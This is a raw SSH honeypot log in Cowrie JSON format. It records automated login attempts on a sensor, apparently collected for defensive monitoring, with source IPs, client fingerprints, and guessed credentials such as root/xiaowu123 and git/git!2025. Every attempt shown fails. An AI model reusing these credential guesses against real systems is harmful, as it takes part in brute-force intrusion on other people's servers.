{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:5f:3d:56:32:c3:2c:22:f6:f9:ee:80:d0:7e:88:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxcPst69wNSAZbZpsKkcPg48SCArnDcX8vRdOOSfNd+40yTWI8wTMdKI85tZH+U9KZmvcEoizci31W7wcOBiXHnyCreskw2mkz5uAF7XTpgYo1Ro6TrLIP1/HJ1uR+m/ZcsD2fJRLNrBbr8iPWp0rUa/Pa8PNCZTVMNjFzGSo7EZMu9jvMaASlqN8+U1BfklFWVU3QYe3kqiGssrguS83rqSTO8BlpLEboOmPIZNy0uegXmYwfuZcEUVYYh1gfblM90qARAbVvNA2ANQrJ2rtuBLQbY33q4ag5N7wZJ3t5qh6BMsHgY9YC3KYQX9KguM3+vvCL15k1r2vfCPvI/m3/tvOXaNnUNZcXf9BqmTKe0mXjbwxrwS+wTCuk7gNTFJ8KIf/yE6ptHqsTOLK6IDY1e5bzenPWaUrm30wVrfZMNnRt0ofPXfIn/zKRS16W45hyU+yeaXuoRT0/R5PPXN+VfozP2yRxf3aBUlmQ6QrA4nho1GcWQm2D84/pVokpJ5gEgjrV6yjp23rNEE2Z0fgBQTD70mLU4g1PwrWy9sz3O+Bvg7vcBRPNMOvaqnIaXFjehjBluAypb656zQEPSLX+mVUOCaWnmIZmb/451QwWP8tE/38uy18WaE5yRV0SpGS/iQ/UZHQ8XlfkIxxW2Wd/7OCbxSWoZ/f1LZkIo1a3pw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:5f:3d:56:32:c3:2c:22:f6:f9:ee:80:d0:7e:88:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.086358Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:5f:3d:56:32:c3:2c:22:f6:f9:ee:80:d0:7e:88:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxcPst69wNSAZbZpsKkcPg48SCArnDcX8vRdOOSfNd+40yTWI8wTMdKI85tZH+U9KZmvcEoizci31W7wcOBiXHnyCreskw2mkz5uAF7XTpgYo1Ro6TrLIP1/HJ1uR+m/ZcsD2fJRLNrBbr8iPWp0rUa/Pa8PNCZTVMNjFzGSo7EZMu9jvMaASlqN8+U1BfklFWVU3QYe3kqiGssrguS83rqSTO8BlpLEboOmPIZNy0uegXmYwfuZcEUVYYh1gfblM90qARAbVvNA2ANQrJ2rtuBLQbY33q4ag5N7wZJ3t5qh6BMsHgY9YC3KYQX9KguM3+vvCL15k1r2vfCPvI/m3/tvOXaNnUNZcXf9BqmTKe0mXjbwxrwS+wTCuk7gNTFJ8KIf/yE6ptHqsTOLK6IDY1e5bzenPWaUrm30wVrfZMNnRt0ofPXfIn/zKRS16W45hyU+yeaXuoRT0/R5PPXN+VfozP2yRxf3aBUlmQ6QrA4nho1GcWQm2D84/pVokpJ5gEgjrV6yjp23rNEE2Z0fgBQTD70mLU4g1PwrWy9sz3O+Bvg7vcBRPNMOvaqnIaXFjehjBluAypb656zQEPSLX+mVUOCaWnmIZmb/451QwWP8tE/38uy18WaE5yRV0SpGS/iQ/UZHQ8XlfkIxxW2Wd/7OCbxSWoZ/f1LZkIo1a3pw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.089607Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:fa:1a:e4:6a:7b:74:a5:ed:50:75:3a:da:82:0f:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhr3IldPK1NSjHYc1AtXijLTDpGbtjYN9z3pTBLH85l6EP+fmgJzjkbCxWz7kDQwfsPq3Yr/vPzEps0hqWaw3QiFbydr5IRBGAAjZxSwX5Ldraee7qK5p0A2TJtpqcqktDO81GzSyYsnMp+HiDkCzHxXR6UaolIgASrJYimyWHwleqgJsWt7dAn4GGf4lRSA54DE3jS9TDpazgsVEQ0gVElbTa6Rj4rM2obo4SxPSx2fjW4NiPt5klnHv6xnUBUhf6LAC/eA69Cn2JOQvWj7NLHATKJ0K4clDJwX3V1nf7LM1dfez6VCs96MEaJ17xhOnH0VdYC21KkWTaV59+W+BJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:fa:1a:e4:6a:7b:74:a5:ed:50:75:3a:da:82:0f:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.171932Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:fa:1a:e4:6a:7b:74:a5:ed:50:75:3a:da:82:0f:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhr3IldPK1NSjHYc1AtXijLTDpGbtjYN9z3pTBLH85l6EP+fmgJzjkbCxWz7kDQwfsPq3Yr/vPzEps0hqWaw3QiFbydr5IRBGAAjZxSwX5Ldraee7qK5p0A2TJtpqcqktDO81GzSyYsnMp+HiDkCzHxXR6UaolIgASrJYimyWHwleqgJsWt7dAn4GGf4lRSA54DE3jS9TDpazgsVEQ0gVElbTa6Rj4rM2obo4SxPSx2fjW4NiPt5klnHv6xnUBUhf6LAC/eA69Cn2JOQvWj7NLHATKJ0K4clDJwX3V1nf7LM1dfez6VCs96MEaJ17xhOnH0VdYC21KkWTaV59+W+BJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.176292Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:56:ca:e2:0c:da:7c:d4:1f:86:c3:a2:5f:e9:17:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcM/FVex5Z3uSxCB/pfqtW0e3o0VPPkVqKOqyiWqQinheJEaf9foadOrie0pv1rZOKF/PF/lO+JezHL+cGL0xrdcJzLcRKcP/4nBDI73aP2D6AZYnblsNXTeWP506G+L3Xf1A1qUwSVAbR5wMRzb7DVGeZYoTCAvM41nsZsfaSbcO1dOIZpVSjlUS/kPKiEOeNrI0HHGLRrpXis6Is4Srq3sDukXd3yeIUHX90krskwhC/dBURE6v4I0wc55WGrZASFSzjtTmIuTk/wylKAGIE5O2TUiOYmOH8JJ7HoWfLX9Ptt+XiCVGsDoJNQsgBHSFbeDuysNDVXYCIeBnamQTD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:56:ca:e2:0c:da:7c:d4:1f:86:c3:a2:5f:e9:17:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.258390Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:56:ca:e2:0c:da:7c:d4:1f:86:c3:a2:5f:e9:17:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcM/FVex5Z3uSxCB/pfqtW0e3o0VPPkVqKOqyiWqQinheJEaf9foadOrie0pv1rZOKF/PF/lO+JezHL+cGL0xrdcJzLcRKcP/4nBDI73aP2D6AZYnblsNXTeWP506G+L3Xf1A1qUwSVAbR5wMRzb7DVGeZYoTCAvM41nsZsfaSbcO1dOIZpVSjlUS/kPKiEOeNrI0HHGLRrpXis6Is4Srq3sDukXd3yeIUHX90krskwhC/dBURE6v4I0wc55WGrZASFSzjtTmIuTk/wylKAGIE5O2TUiOYmOH8JJ7HoWfLX9Ptt+XiCVGsDoJNQsgBHSFbeDuysNDVXYCIeBnamQTD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.261048Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:17:08:52:1a:aa:92:3b:59:d9:a3:08:41:06:81:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqs+sIKG0WAf5yeUz2koDvafgBF/InfLeYFV2rYDd4KoDnSxrULk3dA9yWCOPmluEXWxIijKb+r7X8c/9nMbAIG28ZI1ZV9KRp+xCTrn7bDpCI2mICYLWOjx0kiHbxklDqvsQYPFLVuWVrWnWJOPHMyTilre0pfGd9qfagjh1FL6TgRwO32nuiHhKaJ2jq7/fLaevcXJj7H0LQPV8ZwwgVT8EKbB3Wyj/gVgTPNOwiWogwQTaCWcUXTz3Ykpu8fhXWWkmGKuul9O3ak7OFDuPCGdy215PJYRXO7XsFK6j6cVJJLl89n/iskSQ37jvyyL78kzbVqAQC+ZfLqj6UyluWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:17:08:52:1a:aa:92:3b:59:d9:a3:08:41:06:81:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.343278Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:17:08:52:1a:aa:92:3b:59:d9:a3:08:41:06:81:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqs+sIKG0WAf5yeUz2koDvafgBF/InfLeYFV2rYDd4KoDnSxrULk3dA9yWCOPmluEXWxIijKb+r7X8c/9nMbAIG28ZI1ZV9KRp+xCTrn7bDpCI2mICYLWOjx0kiHbxklDqvsQYPFLVuWVrWnWJOPHMyTilre0pfGd9qfagjh1FL6TgRwO32nuiHhKaJ2jq7/fLaevcXJj7H0LQPV8ZwwgVT8EKbB3Wyj/gVgTPNOwiWogwQTaCWcUXTz3Ykpu8fhXWWkmGKuul9O3ak7OFDuPCGdy215PJYRXO7XsFK6j6cVJJLl89n/iskSQ37jvyyL78kzbVqAQC+ZfLqj6UyluWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.345981Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:21.428104Z","src_ip":"185.89.249.3","session":"20da2f8de77e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":54156,"dst_ip":"10.17.0.5","dst_port":22,"session":"6154ad0f2a71","protocol":"ssh","message":"New connection: 190.244.39.224:54156 (10.17.0.5:22) [session: 6154ad0f2a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:36.607690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:36.615304Z","src_ip":"190.244.39.224","session":"6154ad0f2a71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:36.792993Z","src_ip":"190.244.39.224","session":"6154ad0f2a71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaowu123","message":"login attempt [root/xiaowu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:37.500493Z","src_ip":"190.244.39.224","session":"6154ad0f2a71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:38.680117Z","src_ip":"190.244.39.224","session":"6154ad0f2a71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":53994,"dst_ip":"159.203.135.109","dst_port":22,"session":"760433d26d7b","protocol":"ssh","message":"New connection: 31.179.197.26:53994 (159.203.135.109:22) [session: 760433d26d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:55.365049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:55.368664Z","src_ip":"31.179.197.26","session":"760433d26d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:55.483503Z","src_ip":"31.179.197.26","session":"760433d26d7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mpp","password":"123456","message":"login attempt [mpp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:55.977808Z","src_ip":"31.179.197.26","session":"760433d26d7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:14:57.095556Z","src_ip":"31.179.197.26","session":"760433d26d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":50720,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b2e4d8978b3","protocol":"ssh","message":"New connection: 45.61.148.179:50720 (159.203.135.109:22) [session: 7b2e4d8978b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:12.332517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:12.336383Z","src_ip":"45.61.148.179","session":"7b2e4d8978b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:12.400006Z","src_ip":"45.61.148.179","session":"7b2e4d8978b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git!2025","message":"login attempt [git/git!2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:12.688639Z","src_ip":"45.61.148.179","session":"7b2e4d8978b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:13.755240Z","src_ip":"45.61.148.179","session":"7b2e4d8978b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":55266,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7c5bc4da3bc","protocol":"ssh","message":"New connection: 103.248.120.6:55266 (10.17.0.5:22) [session: f7c5bc4da3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:17.840774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:17.844713Z","src_ip":"103.248.120.6","session":"f7c5bc4da3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:18.066320Z","src_ip":"103.248.120.6","session":"f7c5bc4da3bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"My@123456","message":"login attempt [root/My@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:18.988311Z","src_ip":"103.248.120.6","session":"f7c5bc4da3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":40046,"dst_ip":"10.17.0.5","dst_port":22,"session":"9023206372f8","protocol":"ssh","message":"New connection: 162.240.20.137:40046 (10.17.0.5:22) [session: 9023206372f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:19.362880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:19.366674Z","src_ip":"162.240.20.137","session":"9023206372f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:19.455529Z","src_ip":"162.240.20.137","session":"9023206372f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"portal789","message":"login attempt [root/portal789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:19.721771Z","src_ip":"162.240.20.137","session":"9023206372f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:20.212813Z","src_ip":"103.248.120.6","session":"f7c5bc4da3bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:21.105620Z","src_ip":"162.240.20.137","session":"9023206372f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":42858,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e17265b74b8","protocol":"ssh","message":"New connection: 185.113.139.51:42858 (159.203.135.109:22) [session: 8e17265b74b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:22.964944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:15:22.973273Z","src_ip":"185.113.139.51","session":"8e17265b74b8","protocol":"ssh"}
